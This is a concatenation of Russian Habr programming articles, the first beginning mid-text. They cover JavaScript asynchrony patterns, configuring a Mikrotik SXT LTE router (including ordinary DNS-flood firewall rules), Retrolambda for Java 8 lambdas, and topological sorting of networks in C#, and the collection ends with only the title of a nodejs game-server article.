Так я понял, что асинхронность не нужно воспринимать как нечто, что выполниться тогда, когда вы этого «примерно» ожидаете (0 миллисекунд, например), а когда закончится исполнение «синхронного» потока ( блокирующего), т.е «как только будет возможность». Привести вразумительную аналогию непросто, так как в реальной жизни практически все процессы асинхронны. Представьте, что вы управляющий строительной компании. Вам пришел заказ построить дом «под ключ», но разрешение на определенный вид работ на этом участке (например, возведение дома) есть только у сторонней компании, и вы вынуждены обращаться к ним. У вас уже есть налаженный алгоритм: залить фундамент, построить дом, покрасить дом, облагородить участок и так далее, однако, в нашем случае вы не строите дом и даже не знаете, когда его построят. Это асинхронный процесс, ваша задача просто передать компании макет и получить готовое здание. Когда дом строите вы, все просто, ваше внимание сосредоточено на текущем процессе: стройка, потом покраска и так далее. Однако, сейчас дом строите не вы. И вам как-то нужно организовать работу вашей бригады, учитывая обстоятельства. Это лучше всего объясняет, почему не стоит блокировать поток выполнения на время асинхронных процессов, — он простаивает. Если же поток выполнения не блокируется, то, пока происходит асинхронное действие, можно заняться чем-то другим.
Самая популярная ошибка, новичка, в терминах JavaScript выглядит примерно так:
```
function Build(layout){
//... это асинхронная функция и выполняется она неизвестно сколько
//... и когда заканчивается, она возвращает JS объект (назовем его house)
}
function paintRoof(house, color){
house.roof.color = color
return house;
}
var layout = {/* какой -то макет*/},
house = {};
Build(layout, house);
paintRoof(house, 'red');
```
Очевидно, вернет *TypeError* и скажет, что не может прочитать свойство roof в undefined, т.к. house.foof еще будет undefined (его просто напросто не успели построить). Надо как-то дождаться, пока house будет инициализирован, а мы не знаем, когда это произойдет.
Прошу прощение, за нудное вступление, далее я попробую объяснить как в контексте темы этой статьи можно решить эту проблему с помощью JavaScript.
#### Идея
На самом деле существует не так уж много инструментов. Возвращаясь к примеру со строительной компанией, вы как управляющий знаете, какие процессы зависят друг от друга. Все операции с домом (покраска, внутреннее обустройство и пр.) невозможны, пока сам дом не построен. Однако, например, рытье бассейна, возведение забора и некоторые другие действия вполне себе реализуемы. Как же урегулировать рабочий процесс? Очевидно, пока подрядчики будут возводить дом, мы займемся своими делами, но также надо решить как мы узнаем, когда они закончат свою работу (как бы нелепо это бы не звучало в реальной жизни). Есть две идеи:
* Периодически спрашивать у подрядчиков, готов ли дом или нет?
* Попросить подрядчиков сообщить нам, когда дом будет готов.
С точки зрения JavaScript варианта три:
* Периодически проверять состояния системы, которые могут измениться только в результате выполнения асинхронной функции.
* Зарегистрировать функцию обратного вызова (коллбэк), и передать ей управление, по окончанию асинхронного процесса.
* По окончанию асинхронного действия опубликовать событие, которое мы будем прослушивать, чтобы повесить на него какой-нибудь обработчик.
Рассмотрим эти варианты поближе.
Я утверждаю, что первый вариант никуда не годится, ведь он построен на таймерах и многочисленных проверках. В самом простом случае, состояния — это булевы переменные. Но ведь асинхронные функции могут представлять собой обработку объекта, который имеет не только 2 состояния, а значительно больше. И мы должны реагировать на каждую комбинацию завершенных состояний по-разному. Представьте 3 асинхронных вызова, которые могут влиять на состояния системы только, изменяя булеву переменную с false на true, когда асинхронное действие закончится. Такая ситуация уже порождает 8 (23) общих состояний системы. Вы сами видите, что подобная архитектура практически некомпонуема, а в сложных приложениях простота компоновки зачастую является решающим фактором. Проверять сочетания состояний непростая затея, особенно, если они не подчинены никакой логике. Очевидно, что, с точки зрения чистоты и ясности кода, это полный кошмар.
**Вы же не хотите, чтобы в вашем коде мелькали такие фрагменты?**
```
setTimeout(function(){
if(state1 == 'success' && state2 == 'success'){
...
}else
if(state1 == 'success' && state2 == 'error'){
...
}else
if(state1 == 'error' && state2 == 'success'){
...
}else
if(state1 == 'error' && state2 == 'error'){
...
}else{
setTimeout(arguments.callee, 50);
//одна из функций еще не повлияла на состояние
}
},50
```
Так какие у нас есть варианты?
### Первый вариант — путь Promise
Все очень просто, мы передаем асинхронной функции коллбэк, который она вызовет по окончанию.
```
function Build(layout, onComplete){
//... async
onComplete(house);
}
Build(layout, function(buildedHouse){
return house = paintRoof(buildedHouse, 'red');
});
```
Этот путь рано или поздно приведет вас к PromiseAPI, который, предоставляет возможность реагировать на 2 логичных результата завершения асинхронного действия: в случае успеха и в случае ошибки. Если не реализовывать самому или не пользоваться готовыми реализациями PromiseAPI (такими, как [Q](https://github.com/kriskowal/q)), то, по аналогии с популярными реализациями, можно передавать асинхронной функции 2 коллбэка для разных результатов. Этим самым вы решаете задачу постоянного слежения за изменениями. Теперь, когда изменения происходят, функции обратного вызова срабатывают сами.
```
function Build(layout, success, error){
//... асинхронные действия ok - true , если все прошло удачно
return ok ? success(house) : error(new Error("Что-то пошло не так"));
}
Build(layout,
function(buildedHouse){
return house = paintRoof(buildedHouse, 'red');
},
function(error){
throw(error);
}
);
```
У такого подхода тоже есть очевидные минусы. Во-первых, слишком запутанная вложенность функций в случае последовательности асинхронных действий, например, если их уже 3, то выглядеть это может так:
```
async1(args, function(response){
async2(response, function(response){
async3(response, function(response){
hooray(response);
// Привет разработчикам Node.js.
});
});
});
```
А во-вторых, недостаточная гибкость управления: разрабатывая кусочки приложения, мы берем ответственность в обеспечении корректного выполнения коллбэков на себя. Проблема даже не в гарантии, **какой-то из коллбэков точно сработает, в этом вся суть Promise**. Проблема в том, что если мы опять же хотим *компоновать конкурентные события*, мы не знаем какой коллбэк сработает первым, а ведь порой нам это важно. Еще одна проблема: мы регистрируем коллбэки одних модулей внутри асинхронных функций других модулей, далее, — они срабатывают и нам приходится либо связвать коллбэки через бэкдор с внешним состоянием приложения, либо использовать глобальные (или смежные между модулями) данные. И тот и другой вариант, скажем так, не лучшая идея. Мы вынуждены тщательно проектировать архитектуру, специально заточенную для предотвращения смешивания конкурентных событий, в то время, как могли бы воспользоваться гораздо более высокоуровневой абстракцией и применять ее во всех схожих случаях. Если вам сразу пришло в голову, что можно создать некую обертку над асинхронным потоком, то поздравляю, до вас дошла идея PromiseAPI. К счастью, в настоящее время есть возможность писать в стиле:
```
async1.then(async2).then(async3).then(hooray);
```
Самое прекрасное то, что всегда можно выбрать паттерн проектирования, который как бы побуждает нас использовать PromiseAPI, включая его как родную свою составляющую. Большинство современных MV\* JavaScript фреймворков основанны на этом. Хороший пример — это служба $q в Angular.js.
В качестве ништяка, и если вы следите за новостями, то вас не удивит, что некоторые современные браузеры уже поддерживают нативную реализацию [promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise). Рассматривать спецификации PromiseAPI выходит за рамки этой статьи, однако я очень рекомендую прочитать [эту статью](http://habrahabr.ru/post/209662/#1), и ознакомиться со спецификацией [Common.js Promises](http://wiki.commonjs.org/wiki/Promises).
### Второй вариант — путь Pub/Sub
Асинхронная функция сообщает о том, что она завершилась, публикуя событие. В таком случае мы логически отделяем ту часть кода, которая публикует события, от той части кода, которая реагирует на события. Это может быть оправданно, если приложение, которое мы пишем, можно четко логически разбить на несколько модулей, каждый из которых выполняет строго очерченную функциональность, но притом им нужно взаимодействовать.
**Пример**
```
var manager = {/*слушатель событий*/}
function Build(layout){
//... асинхронные действия, заканчиваются эмитированием события
manager.emit({
"type" : "ready",
"msg" : "Дом построен",
"house" : buildedHouse
});
}
manager.on("ready", function(event){
return house = paintRoof(event.house, 'red');
});
Build(layout);
```
На первый взгляд, этот подход мало чем отличается от регистрации функций обратного вызова в асинхронные методы, но главное различие в том, что вы сами регулируете взаимодействие между публикатором эвента и подписчиком, что дает определенную свободу, но связанно с некоторыми затратами (см. паттерн «Медиатор»). Главный недостаток такого подхода в том, что нужен некий подписчик событий, который прослушивает объект на предмет возникновения события и вызывает зарегистрированный коллбэк. Это не обязательно должен быть отдельный объект (как в предыдущем примере), вариантов реализации много. Часто между модулями возникают разного рода «логические прослойки», — псевдомодули обслуживающие взаимодействие модулей вне контекста других модулей. Однако, в сравнении с промисами, такой подход более гибок.
**Асинхронная функция может возвращать объект с методом связывания, - похоже на то, как в случае с PromiseAPI, асинхронная функция возвращает promise-объект**
```
function Build(layout) {
...
return {
bind : function(event, callback){
//реализация bind
}
}
}
var house = Build(layout);
house.bind('ready', function(event){...});
```
Строго говоря, это лишь вопрос реализации паттерна Pub/Sub. Как вы это сделаете не столь важно. Если вы писали на NodeJS, вы должны быть знакомы с [EventEmitter](http://nodejs.org/api/events.html), тогда вы понимаете, как важно (и круто!) иметь возможность для любого класса использовать методы эмитирования и прослушивания событий. Если речь идет о программировании для браузера, тут довольно много вариантов. Скорее всего вы, рано или поздно, примете решение использовать trigger-методы того фреймворка, который вы используете, большая часть MV\* фреймворков позволяют делать это легко и безболезненно (а некоторые [:)](https://angularjs.org/) позволяют этого вообще не делать). В любом случае теория достаточно подробно описана. Одним из положительных примеров является сочетание паттернов модуль-фасад-медиатор, подробнее об этом можно прочитать [здесь](http://largescalejs.ru/the-mediator-pattern/).
### Проектирование
Когда вы начинаете писать более или менее большие приложения, вы хотите разделить логические части архитектуры так, чтобы иметь возможность разрабатывать и поддерживать их отдельно друг от друга. В асинхронном программировании модули возвращают результат не сразу по вызову метода API, и поэтому последовательное выполнение запросов в модуль и обработка ответов другими частями приложения принципиально невозможна. Возможность регистрировать внутрь модуля обработчик извне вполне себе удовлетворительный метод, но надо понимать, что, если вы планируете расширять взаимодействие между модулями, то можете прийти к «коллбэчному аду», которого стоит избегать. С другой стороны. порой бывают вполне себе простые модули, которые предоставляют конечный API, который вряд ли будет масштабироваться, тогда архитектура на непосредственном внедрении коллбэков может и угодить вашим требованиям.
**Например модуль на основе jQuery управляющий ajax-прелоадером**
```
var AjaxPreloader = (function(){
function AjaxPreloader(spinner){
this.spinner = spinner;
}
AjaxPreloader.prototype.show = function(onComplete) {
this.spinner.fadeIn(onComplete);
return this;
};
AjaxPreloader.prototype.hide = function(onComplete) {
this.spinner.fadeOut(onComplete);
return this;
};
return AjaxPreloader;
})();
var preloader = new AjaxPreloader($("#preloader"));
preloader.show(function(){
div.load("/", preloader.hide);
});
```
Если же вы решили перейти на сторону PromiseApi, вы бы избавились от этих вложенностей и с небольшими модификациями писали бы вот так:
```
preloader
.show()
.then(function(){
return div.load('/')
})
.then(
function(response){}, //success
function(error){} //error
)
.always(preloader.hide);
```
Весьма декларативно. И мы можем спать спокойно, зная, что модуль AjaxPreloader никогда не начнет возвращать функции, которые требуют аргументом еще один коллбэк и так далее. Если есть возможность проектировать именно такие модули, делайте это. Чем проще модули, а особенно их public API, тем лучше.
*Важно уметь понимать, когда выбирать одни инструменты, а когда другие.*
Наверняка вы писали небольшие приложения, и вам приходилось использовать следующую схему:
```
var root = $("#container"); //главный контейнер, где находится все приложение
root.on("someEvent", function(){
//обработчик
});
root.trigger("someEvent"); //эмитирует эвент на элементе root
```
Чтобы не регистрировать коллбэки внутрь каких-то модулей приложения, а особенно не уделять внимание контексту выполнения, но притом сохранить логическое разделение частей приложения, многие просто эмитируют кастомное событие на каком-то элементе DOM'a, чтобы потом ловить его в каком-то другом месте приложения и выполнять нужные действия. Таким образом модули зависят только от одного элемента, а мы, вместо регистрации коллбэков, просто передаем в модуль лишний параметр — элемент документа, который мы собираемся прослушивать. Строго говоря, это довольно спорная практика, но сама идея хорошая. Когда модуль публикует события, а приложение прослушивает их, это довольно удобно во многих отношениях.
Для меня стало обычным делом пользоваться оберткой над объектами, которая расширяет модули стандартными Pub/Sub методами.
```
var module = PubSub({
load: function(url){
...
this.emit('loaded', data);
}
});
module.on('loaded', function(data){
...
});
```
В этом случае модуль эмитирует события и сам же является подписчиком. Альтернативная архитектура — один подпичик на все модули, в целом выглядит более централизованно, но это лишь еще одна прослойка между событиями модуля и приложения. Чаще всего в этом нет необходимости, кроме того, не стоит думать, что такой ретранслятор по сути есть фасад, если он занят лишь коллекционированием событий и регистрацией обработчиков, и это ничем не обусловленно (например, многоступенчатой вложенностью архитектуры приложения), то это лишь ненужная прослойка. Кроме того, еще одним словом против централизованной архитектуры — это, то что компоновать конкурентные события таким образом становиться труднее и труднее, с ростом количества модулей приложения. Я не буду моделировать редкие ситуации, когда в состав приложения входят модули, в задачи которых входит синхронизация данных между сервером и клиентом, где клиентов может быть несколько, а участники публикуют совместные конкуретные события. Надеюсь, вы сами понимаете насколько упрощается компоновка разнородных событий, когда модули можно связывать между собой только через шину подписок и публикаций. Это очень удобно, когда речь идет о компонентах, которые могут взаимодействовать между собой без необходимости дергать централизованный аппарат управления.
### Event-driven приложения
В последнее время, актуальной для меня темой является компоновка событий. Неприятная сторона в том, что события происходят не только в разных местах, но и в разное время. Комбинировать разнородные события без каких-либо специальных приемов мягко говоря неприятно. При всем при этом есть особого рода приложения, которые можно описать, как «сильно-событийные», которые состоят из множества разных частей. Эти части могут взаимодействовать друг с другом, с пользователем, слать данные на сервер, или просто висеть в холде. Попытки организовать все возможные сочетания событий с помощью традиционных императивов if/then/else — это комбинаторный взрыв мозга. Как ни странно, методология функционального программирования, примененная к такого рода приложениям, значительно облегчает жизнь. Есть несколько библиотек, которые предоставляют возможность описывать сложные зависимости между разными событиями в декларативном стиле привычного функционального программирования (см. Bacon.JS, Reactive Extensions — RxJS). Я не буду разбирать эти библиотеки в этой статье, только скажу что сейчас использую самописную библиотеку, чем-то схожую с Bacon.js, но с большим упором на компоновку и деструктуризацию асинхронного потока. Предоставляю фрагмент рабочего кода, снабженного комментариями:
**Фрагмент кода из мини-игрушки а-ля Swarmation с применением web-socket**
```
// потоки данных
var keyups = obj.stream('keyup'), arrowUps = keyups.filter(isArrows);
// чистые функции
function isArrows(which){ ... } // нажата ли стрелка
function vectorDirection(which){ ... } // перевод из event.which в объект вида vector2
function allowedMoves(direction){ ... } // вычисление разрешенных ходов
function isWinerPosition(pos){ ... } // предикат победы игрока
// инициализация
enemy.moves = socket.stream('playerMoves'); // поток ходов противника
player.moves = arrowUps.filter(allowedMoves).map(vectorDirection); // ходов игрока
game.ticks = timer.stream('tick'); // цикл анимации
game.pause = keyups.filter(function(which){ return which==19}); // нажатия на кнопку паузы
// логика
game.ticks.syncWith(enemy.moves).listen(redraw); // циклы анимации совмещаются с ходами противника и все это перерисовывается
player.moves.listen(redraw); // ходы игрока перерисовываются
game.ticks
.syncWith(enemy.moves) // циклы анимации совмещаются с шагами противника
.produceWith(playerMoves, function(pos1, pos2){ // и сопоставляются с шагами игрока
if(cmp.equals(pos1, pos2)){ // и если они совпали
socket.emit('win'); // то противник победил
game.ticks.lock(); // а игрок проиграл
game.emit('loose', {
position : pos1,
});
}
});
game.pause.toggle([ // нажатия на паузу переключат состояние
function(){
game.ticks.lock(); // блокируют циклы анимаций
player.moves.lock(); // и потоки шагов игрока
socket.emit('pause'); // и эмитируют событие паузы для веб-сокета
},
function(){
game.ticks.unlock(); // и соответственно разблокировывают
player.moves.unlock();
socket.emit('run');
}
]);
player.moves
.filter(isWinnerPosition) // шаги игрока, которые попали на позицию победы
.listen(function(pos){
game.ticks.lock(); // блокируют циклы анимации
socket.emit('loose'); // и эмитируют событие проигрыша противника
game.emit('win', { // и победы игрока. Ура!
position: pos
});
});
```
Я не буду углубляться в суть этого кода, это лишь пример того, как легко (а главное декларативно можно описывать логику взаимодействий между объектами на основе потоков их событий. **Посему, вопрос читателю: интересна бы вам была статья на эту тему?** Я собираюсь довести библиотеку до ума и написать демонстрационное веб-приложение.
Спасибо за внимание, да пребудет с вами сила! | https://habr.com/ru/post/241161/ | null | ru | null |
# Подводные камни настройки Mikrotik SXT LTE
Доброго времени суток Хабр, попытаюсь рассказать о своём знакомстве с такой вещью, как Mikrotik SXT LTE, муках настройки и последующего доведения до ума.
**Немного предыстории:**
Своё знакомство с Mikrotik и RouterOS начал около двух лет назад, имеется сертификат MTCNA, планирую в ближайшее время получить MTCRE и MTCWE. За это время я не устаю восхищаться оборудованием Mikrotik за их функциональность. В основном работал с представителями линейки RouterBoard 7xx и 9xx, так как их возможностей и мощностей всегда хватало, до недавних пор.
Недавно появился следующий объект — нефтебаза с довольно развитой сетевой инфраструктурой: локальный домен, АТС (Asterisk FreePBX), соответственно SIP-телефония, Wifi-мосты, куча сетевых видеорегистраторов и специализированное оборудование автоматики, управлял этим всем Zyxel ZyWALL USG 20. Узким местом этого всего было отсутствие проводного интернета, доступ к нему осуществлялся посредством LTE, через худо-бедно работающий Zyxel LTE6100. Периодическое «отвалы» lte для него было нормой, иногда только ребут помогал восстановить связь, радости не добавлял так же «деревянный» и слабо-отзывчивый интерфейс Zyxel'я.
В итоге, через некоторое время и довольно большое количество накопившихся жалоб было решено искать альтернативу. Взгляд сразу упал на Mikrotik SXT LTE потому что:
— 2 в 1, заменял собой сразу 2 железки — роутер и lte-модем;
— RouterOS и её богатые возможности по реализации различных хотелок;
**Выбор прошивки:**
Прибывшая железка несла в себе RoS версии 6.36.2, по привычке я сразу обновил её до свежей, на тот момент, current 6.40. Это была моя первая ошибка, усложнившая мне задачу, уже на месте в «полевых» условиях. Я не проверил работоспособность LTE на рабочим месте в комфортных условиях, так элементарно под рукой не оказалось SIM-карты с поддержкой LTE. В результате, уже на объекте, меня ждало удивление, когда SXT ни в какую не хотела видеть сигнал с базовой станции, что на «дефолтной», что на пустой конфигурации. Пришлось спешно откатываться на «коробочную» версию RoS, качая её через мобильный интернет. Тогда же пришло осознание того, что пакет lte не входит в Main package — набор RoS и помимо его необходимо загрузить Extra packages.
Загружаем routeros-mipsbe-x.xx и lte-х.хх-mipsbe в память микротика (вкладка Files в меню winbox'а):
Далее System — Packages и нажимаем Downgrade. Микротик попросит разрешение на перезагрузку для отката на более старую версию RoS, нажимаем Yes.
После отката не стал сбрасывать сразу настройки в 0, а предпочел проверить на дефолтной. Убедившись, что lte-интерфейс поднялся и подключился к базовой станции, можно вернуться к пустой конфигурации и продолжить настройку.
> Стоит сделать ремарку, что на данный момент SXT LTE работает на последней версии RoS 6.40.1, к которой я пришел постепенно, обновляя на последующие версии, начиная с 6.36 и тестируя стабильность, находясь непосредственно на объекте.
>
>
>
> При выбору конфигурации, я всегда выбираю пустую — она позволяет настроить все необходимые параметры самостоятельно, в отличие от дефолтной, которая не всегда гарантирует работоспособность устройства по назначению, а иногда может приводить к определённым проблемам.
**Настройка LTE-интерфейса:**
Для начало нам необходимо определиться с частотой LTE frequency band, у каждого оператора она своя, у Yota это band 7.
Далее пишем в терминале:
`/interface lte set lte1 band=7 network-mode=lte add-default-route=yes use-peer-dns=yes`
где:
**lte1** — имя вашего lte интерфейса
**band** — frequency band
**network-mode** — режим работы
**add-default-route** — добавляем дефолтный маршрут для роутинга
**use-peer-dns** — используем DNS-сервер оператора
В лучшем случае все настройки Mikrotik подцепляет автоматически, но мне пришлось настраивать вручную.
В практике настройки серии Routeroard для получения IP-адреса от провайдера необходимо настроить Mikrotik, как DHCP клиента:
`/ip dhcp-client add interface=имя_gateway_интерфейса`
Но при работе с SXT LTE, Mikrotik получил IP-адрес и DNS от провайдера автоматически, без дополнительных манипуляций.
Далее проверяем статус LTE:
наличие на LTE-интерфейсе IP от оператора во вкладке IP — Adresses:
и наконец наличие дефолтного маршрута:
Если его нет, добавляем вручную:
`/ip route add dst-address=0.0.0.0/0 gateway=lte distance=1`
Всё что остаётся, это дать пользователям доступ в интернет:
`/ip firewall nat add chain=srcnat action=masquerade out-interface=lte1`
На этом базовая настройка Mikrotik SXT LTE закончена, далее пойдут специфические задачи и проблемы, которые мне приходилось решать по необходимости и факту возникновения.
**Больше одной подсети:**
Так сетевая инфраструктура на объекте достаточно развита, у неё было 3 подсети для различных назначений:
* wifi-мосты и прочее сетевое оборудование;
* подсеть SIP-телефонии;
* подсеть пользовательских ПК.
Т.к. SXT LTE имеет только один ethernet-интерфейс я достаточно долго думал, как осуществлять маршрутизацию между подсетями, даже смотрел в сторону VLAN'ов. Всё оказалось просто, достаточно присвоить интерфейсу несколько ip-адресов, которые являются шлюзом у устройств подсетей:
`/ip address
add address=10.254.254.1/24 network=10.254.254.0 interface=ether1-main-pool
add address=192.168.21.1/24 network=192.168.21.0 interface=ether1-main-pool
add address=192.168.1.1/24 network=192.168.1.0 interface=ether1-main-pool`
**DNS Flood:**
SXT LTE имеет достаточно слабый ЦП, о чём мне напомнили буквально на следующий день после установки. Сотрудники жаловались на плохую работу сети, а я в свою очередь никак не мог подключиться удаленно на Mikrotik, хотя winbox не дропал меня сразу, а пытался залогиниться. Приехав на место, обнаружил загруженность CPU процессора под 100%. С помощью встроенной в RoS утилитки Tools — Profile обнаружил, что процессор загружен обработкой DNS-запросов. И осознал ещё одну свою ошибку, забыв отключить обработку DNS запросов с внешки.
`/ip dns set allow-remote-requests=no`
или с помощью firewall'а:
`/ip firewall raw
add action=add-src-to-address-list address-list="dns flood" address-list-timeout=1d chain=\prerouting dst-port=53 in-interface=lte1 protocol=udp
/ip firewall filter
add action=drop chain=input dst-port=53 in-interface=lte1 protocol=udp src-address-list="dns flood"
add action=drop chain=input connection-state=new dst-port=53 in-interface=lte1 protocol=udp
add action=drop chain=input connection-state=new dst-port=53 in-interface=lte1 protocol=tcp`
**CPU Overloaded:**
Mikrotik никак не фиксирует высокую нагрузку на процессор, поэтому чтобы в будущем контролировать высокую загрузку CPU и решать её, мне помог встроенный язык для написания скриптов:
`:global cpu1 [/system resource get cpu-load];
if (($cpu1) >= 90) do={:log warning "CPU load = $cpu1 %"} else={}`
Выглядит примерно так:
Для удобства все логи отправляются в syslog, чтобы не заполнять flash-память Mikrotik'а и не потерять их при ребуте.
**LED индикатор**
При установке пустой конфигурации, сбрасываются и настройки LED-индикаторов LTE-интерфейса, восстанавливаются при помощи следующих команд:
`/system leds
add leds=led1 type=modem-signal interface=lte1 modem-signal-treshold=-91
add leds=led2 type=modem-signal interface=lte1 modem-signal-treshold=-81
add leds=led3 type=modem-signal interface=lte1 modem-signal-treshold=-71
add leds=led4 type=modem-signal interface=lte1 modem-signal-treshold=-61
add leds=led5 type=modem-signal interface=lte1 modem-signal-treshold=-51`
**Дроп LTE-интерфейса:**
К сожалению одна из нерешённых проблем SXT LTE, вызванной высокой нагрузкой UDP-трафика, о которой разработчики упомянули на форуме:
> Yes, it looks like the specific issue sometimes happens on this particular product, we are looking into it. It looks like other LTE modems and wAP LTE does not have this issue. The problem on SXT LTE takes place under heavy UDP traffic, but we are still investigating.
Пару раз ловил исчезновение lte-интерфейса, соответственно отсутствие интернета на объекте. Но по истечении пары минут интерфейс появлялся снова, так что простои были не критичны. Пока жду новую версию RouterOS, которая исправит эту проблему.
Вот с чем мне пришлось столкнуться, внедряя специфичную, для меня, «железку», а заодно и почерпнуть кое-что новое. Но этим Mikrotik и хорош, что предоставляет инструменты для решения появившихся проблем. | https://habr.com/ru/post/336076/ | null | ru | null |
# Лямбда-выражения бэкпортированы в Java 7, 6 и 5
Хотите использовать лямбда-выражения, но вынуждены использовать стабильный JRE? Теперь это возможно с утилитой [**Retrolambda**](https://github.com/orfjackal/retrolambda), которая преобразует байткод Java 8 в пригодный для рантаймов Java 7, 6 и 5, позволяя использовать [лямбда-выражения](http://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html) и [ссылки на методы](http://docs.oracle.com/javase/tutorial/java/javaOO/methodreferences.html) на этих платформах. Конечно, придется отказаться от улучшенного Java 8 Collections API, но, к счастью, существует [множество](https://code.google.com/p/guava-libraries/) [альтернативных](https://code.google.com/p/totallylazy/) [библиотек](http://functionaljava.org/), работа с которыми упростится благодаря лямбда-выражениям.
#### Под капотом
Пару дней назад в кафе мне в голову пришла идея [поискать](http://eng.wealthfront.com/2013/04/i-can-haz-lambda-on-java-7.html) кого-нибудь, кто уже занимался этой проблемой, но после пары [разговоров со стенкой](http://stackoverflow.com/questions/17756604/has-anybody-yet-backported-lambda-expressions-to-java-7), сделал все самостоятельно за выходные.
Изначальный план тупого копирования классов из OpenJDK провалился ([LambdaMetafactory](http://download.java.net/jdk8/docs/api/java/lang/invoke/LambdaMetafactory.html) зависит от некоторых приватных классов и требовала модификации), но в конечном итоге я нашел путь избежать лишних зависимостей от рантайма.
Retrolambda использует [Java аgent](http://docs.oracle.com/javase/7/docs/api/java/lang/instrument/package-summary.html) для поиска байткода, который динамически генерируется LambdaMetafactory, сохранения его как .class-файла и замены инструкций `invokedynamic` на явную инициализацию этих классов. Библиотека также меняет модификатор видимости некоторых синтетических методов на package, таким образом байткод может получить к ним доступ без использования [MethodHandle](http://docs.oracle.com/javase/7/docs/api/java/lang/invoke/MethodHandle.html). | https://habr.com/ru/post/187596/ | null | ru | null |
# Алгоритмы на графах — Часть 2: Сортировка сетей
Пролог
======
В продолжение опубликованной на выходных [статьи.](http://habrahabr.ru/blogs/algorithm/66586/)
Компиляторы — пожалуй одна из самых интересных тем системного программирования.
Эта статья не расскажет как написать идеальный, или, хотя бы, работающий компилятор, но она поможет прояснить пару аспектов его работы, при помощи метода топологической сортировки сети.
Что такое сети?
===============
Сеть — это бесконтурный ориентированный граф (В предыдущей статье разбирался вопрос контуров и методы их нахождения).
Для алгоритма нам понадобятся некоторые свойства, часть из них была более подробно разобрана в самой первой статье.
Как видно из картинки, каждую вершину можно охарактеризовать числом дуг, входящих в неё (**полустепень захода**), и числом дуг, исходящих из неё к другим вершинам (**полустепень исхода**).
Если у вершины нет ни одной **входящей** дуги, вершина называется **источником** сети.
Если у вершины нет ни одной **исходящей** дуги, вершина называется **стоком** сети.
Рассмотрим сеть на примере сборки приложения.
Файлы обозначим вершинами.
Роль дуг в сети проще понять по картинке:
Дуга, идущая из вершины «Код» в вершину «Результирующий файл» говорит о том, что «Код» должен быть обработан прежде, чем будет получен Result.exe
Перед тем, как вершина может быть обработана, следует обработать все вершины, ссылающиеся на неё.
Всё кажется простым, когда мы видим нарисованную сеть небольшого размера.
Давайте перейдем поближе к реальности и рассмотрим построение небольшой программы.
Пример 1:
К сожалению, даже современные компиляторы не такие глазастые, чтобы увидеть здесь правильную последовательность сборки.
Алгоритм
========
Как же тогда компилятор понимает, что ему сделать сначала, а что потом?
Сначала опишем, что же мы хотим от нашего алгоритма, а потом приведем код.
Итак, наша цель — создать сеть, состоящую из нескольких уровней.
Из рисунка видно, что задачи внутри одного уровня зависят только от задач на младших уровнях, и независимы друг от друга.
В таком случае, для достижения цели нам сначала надо в любом порядке выполнить все задачи уровня 0, потом, в любом порядке, задачи уровня 1, и т.д., до уровня 3 (последнего).
Для решения задачи, нам понадобится представление графа в виде матрицы (ij элемент = 1, если есть дуга из вершины i в вершину j, и равен 0, если дуги нет).
Рассмотрим ещё один пример
Пример 2:
В строке под таблицей даны полустепени захода для всех вершин. Каждое число отражает сумму единичек в соответствующем столбце матрицы.
На первом шаге алгоритма мы выбираем все вершины с нулевой полустепенью захода, заносим их в нулевой уровень и, мысленно, выкидываем из графа.
В результате, (мы больше не учитываем строки матрицы, соответствующие обработанным вершинам) полустепени захода остальных вершин уменьшатся.
Далее, проделываем тоже самое с **оставшимися** вершинами, имеющими нулевую полустепень захода и помещаем их в первый уровень:
Последующие шаги выполняются аналогично
В самом начале мы потребовали, чтобы наш граф был бесконтурным, благодаря этому требованию на каждом шаге у нас будут появляться новые вершины с нулевой полустепенью захода.
Применим алгоритм к нашей сети из примера 1:
Пример реализации
=================
Базовый каркас, который нам понадобится:
> `public class GraphNode
>
> {
>
> public List LinkedNodes;
>
> }
>
>
>
> public class Graph
>
> {
>
> public List nodes;
>
>
>
> public void TopologicSort(out List<string> algResult, bool animated)
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вспомогательная функция, возвращающая массив полустепеней захода для всех вершин сети.
> `int?[] GetInputNodesArray()
>
> {
>
> int?[] array = new int?[this.nodes.Count];
>
> for (int i = 0; i < this.nodes.Count; i++)
>
> {
>
> array[i] = this.nodes[i].LinkedDownNodes.Count;
>
> }
>
> return array;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И, наконец, алгоритм:
> `public void TopologicSort()
>
> {
>
> List<List> levels = new List<List>();
>
> int?[] workArray = GetInputNodesArray();
>
>
>
> int completedCounter = 0;
>
> int currentLevel = 0;
>
>
>
> bool pathFound;
>
> while (completedCounter != this.nodes.Count)
>
> {
>
> levels.Add(new List());
>
>
>
> // Во избежание обработки вершин, с нулевой
>
> // степенью захода, возникших по ходу следующего цикла,
>
> // помечаем их заранее.
>
> for (int i = 0; i < this.nodes.Count; i++)
>
> {
>
> if (workArray[i] == 0)
>
> {
>
> workArray[i] = null;
>
> }
>
> }
>
>
>
> for (int i = 0; i < this.nodes.Count; i++)
>
> {
>
> if (workArray[i] == null)
>
> {
>
> // Если вершину следует обработать, помещаем её
>
> // В соответствующий ей уровень и корректируем
>
> // Массив степеней захода остальных вершин
>
> levels[currentLevel].Add(this.nodes[i]);
>
> this.nodes[i].Tag = currentLevel; // Оставляем в вершине метку о её уровне
>
>
>
> foreach (GraphNode node in this.nodes[i].LinkedNodes)
>
> {
>
> int linkedNode = this.nodes.IndexOf(node);
>
> workArray[linkedNode]--;
>
> }
>
>
>
> workArray[i] = -1; // Помечаем вершину как обработанную
>
>
>
> completedCounter++;
>
> }
>
> }
>
>
>
> currentLevel++;
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Эпилог
======
Компиляторами не ограничивается применение данного алгоритма, он также может быть применен например, при программировании нейронных сетей, или планировании крупных проектов.
В следующий раз будет рассказ про алгоритмы поиска кратчайшего пути на графе (алгоритм Дейкстры и алгоритм Волнового фронта).
### Исходники
Программа и Исходники на C#: [Скачать](http://slil.ru/27893168)
По данной ссылке много более функциональная программа и несколько примеров сетей для сортировки.
Презентация с опущенными шагами алгоритма: [Скачать](http://slil.ru/27893188) | https://habr.com/ru/post/66766/ | null | ru | null |
# Разработка сервера для многопользовательской игры с помощью nodejs и magx
